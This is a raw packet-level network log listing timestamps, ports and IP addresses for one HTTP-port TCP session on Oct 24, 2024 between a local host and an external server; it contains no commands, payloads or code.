Oct 24, 2024 18:08:23.579437017 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.579623938 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.579687119 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.579701900 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.579718113 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.579719067 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.579731941 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.579741955 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.579765081 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.579818964 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.579833984 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.579850912 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.579866886 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.579869032 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.579883099 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.579898119 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.579911947 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.579915047 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.579931021 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.579936981 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.579947948 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.579961061 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.579961061 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.580007076 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.580029964 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.580044985 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.580051899 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.580086946 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.580089092 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.580102921 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.580116987 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.580137014 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.580146074 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.580149889 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.580194950 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.580210924 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.580226898 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.580229998 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.580267906 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.580276012 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.580398083 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.580411911 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.580427885 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.580441952 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.580446959 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.580460072 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.580466986 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.580483913 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.580492020 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.580498934 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.580533981 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.580538988 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.580553055 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.580568075 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.580585957 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.580601931 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.580604076 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.580622911 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.580662966 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.580703020 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.580718994 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.580738068 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.580756903 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.613761902 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.613806009 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.613864899 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.613920927 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.613956928 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.613991976 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.613996983 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.613996983 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.614046097 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.614083052 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.614097118 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.614120007 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.614156961 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.614164114 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.614202023 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.614301920 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.614335060 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.614368916 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.614377022 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.614403963 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.614440918 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.614444017 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.614597082 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.614650011 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.614684105 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.614692926 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.614736080 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.614778996 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.614792109 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.614826918 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.614830971 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.614862919 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.614902973 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.614916086 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.614959002 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.614991903 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.615000963 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.615047932 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.615102053 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.615138054 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.615147114 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.615190029 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.615246058 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.615261078 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.615293980 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.615310907 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.615358114 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.615391016 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.615412951 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.615425110 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.615458965 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.615509033 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.615514040 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.615551949 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.615586042 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.615595102 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.615629911 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.615639925 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.615674019 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.615708113 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.615716934 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.615741968 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.615776062 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.615783930 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.615811110 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.615843058 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.615876913 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.615885973 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.615915060 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.615953922 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.615968943 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.616008043 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.616008043 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.616038084 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.616070986 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.616084099 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.616106033 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.616137981 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.616173029 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.616178036 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.616205931 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.616239071 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.616245031 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.616267920 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.616282940 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.616301060 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.616333961 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.616342068 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.616365910 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.616401911 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.616435051 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.616444111 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.616471052 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.616503954 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.616512060 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.616543055 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.616550922 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.616575956 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.616611004 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.616619110 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.616643906 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.616684914 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.616700888 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.616736889 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.616789103 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.616831064 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.616843939 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.616897106 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.616931915 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.616934061 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.616971970 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.616988897 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.617043972 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.617072105 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.617094040 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.617105961 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.617147923 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.617160082 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.617191076 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.617229939 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.617243052 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.617295980 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.617328882 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.617362022 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.617369890 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.617397070 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.617433071 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.617433071 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.617466927 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.617471933 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.617501020 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.617532969 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.617546082 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.617568016 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.617599964 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.617613077 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.617636919 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.617669106 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.617702007 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.617710114 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.617734909 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.617773056 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.617774963 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.617816925 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.617830992 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.617882967 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.617916107 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.617928028 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.617950916 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.617985010 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.617993116 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.618019104 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.618057013 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.618091106 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.618098974 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.618124962 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.618158102 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.618165016 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.618192911 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.618201971 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.618230104 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.618257999 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.618273020 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.618357897 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.618400097 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.618411064 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.618444920 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.618814945 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.650043964 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.650104046 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.650156021 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.650191069 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.650223970 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.650260925 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.650293112 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.650298119 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.650298119 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.650326967 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.650371075 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.650630951 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.650684118 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.650748968 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.650793076 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.650803089 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.650837898 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.650870085 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.650880098 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.650903940 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.650945902 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.650955915 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.650990963 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.651022911 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.651055098 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.651079893 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.651087999 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.651122093 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.651139021 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.651156902 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.651163101 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.651254892 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.651298046 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.651458979 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.651494026 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.651525021 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.651563883 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.651766062 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.651923895 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.651958942 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.651966095 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.652003050 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.652194023 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.653673887 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.653721094 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.653990030 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.654021025 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.654161930 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.654196024 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.654201984 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.654812098 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.654858112 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.654910088 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.654951096 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.654953957 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.655004978 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.655040026 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.655046940 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.655071974 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.655105114 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.655133009 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.655147076 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.655174971 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.655210018 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.655215025 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.655244112 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.655252934 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.655277967 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.655309916 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.655333042 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.655366898 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.655400991 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.655411005 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.655435085 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.655467033 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.655503988 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.655507088 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.655531883 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.655570984 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.697139025 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.697187901 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.697227955 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.697283983 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.697319031 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.697320938 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.697320938 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.697352886 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.697387934 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.697398901 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.697422981 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.697453022 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.697477102 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.697485924 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.697516918 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.697519064 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.697554111 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.697587967 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.697599888 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.700113058 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.700148106 CEST	80	49744	185.215.113.16	192.168.2.6
Oct 24, 2024 18:08:23.700170040 CEST	49744	80	192.168.2.6	185.215.113.16
Oct 24, 2024 18:08:23.700181961 CEST	80	49744	185.215.113.16	192.168.2.6
